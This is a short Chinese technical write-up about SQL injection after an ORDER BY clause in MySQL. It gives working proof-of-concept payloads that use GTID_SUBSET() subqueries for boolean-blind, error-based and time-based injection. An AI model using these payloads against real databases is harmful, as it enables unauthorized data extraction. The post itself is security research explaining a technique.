0x00 前言

前几年在工作上遇到了一个 MySQL 的注入问题,注入点在 order by 后面,类似于

select 1 from dual order by "", *;`

其中, * 所在的地方即为注入点。

随即本人尝试对这个点进行注入,经过若干次尝试后均以失败告终。 具体尝试结果如下:

1. 报错注入

尝试使用常见的 GTID_SUBSET() 函数进行报错注入,发现 order by 后没有发挥应用的效果。

2. 延时注入

尝试使用的 sleep() 函数进行延时注入,发现 order by 后没有发挥应用的效果。

此时你可能会发现, order by 后面的行为稍显怪异,难以琢磨。 难道就没有办法利用这个注入了吗?肯定得有,不然这篇文章就写不下去了。

0x01 order by 后的注入 POC

在经过若干次尝试后,本人发现下面的查询语句能够触发报错。

select 1 from dual order by "",(SELECT(1)FROM(SELECT(GTID_SUBSET(2,2))where(1=1))test); # 报错

select 1 from dual order by "",(SELECT(1)FROM(SELECT(GTID_SUBSET(2,2))where(1=2))test); # 不报错

因此,完全可以利用上述语句进行 bool 类型的注入, 甚至直接一点,利用该特性进行报错注入:

或者将 GTID_SUBSET 换成 sleep 进行延时注入。

0x02 未完待续

本文能够利用一些特殊的 SQL,对 order by 后的注入点进行注入。然而,这个只是表现,并非原理。至于 MySQL 的行为为何如此奇怪,本人并没有了解清楚,有待研究。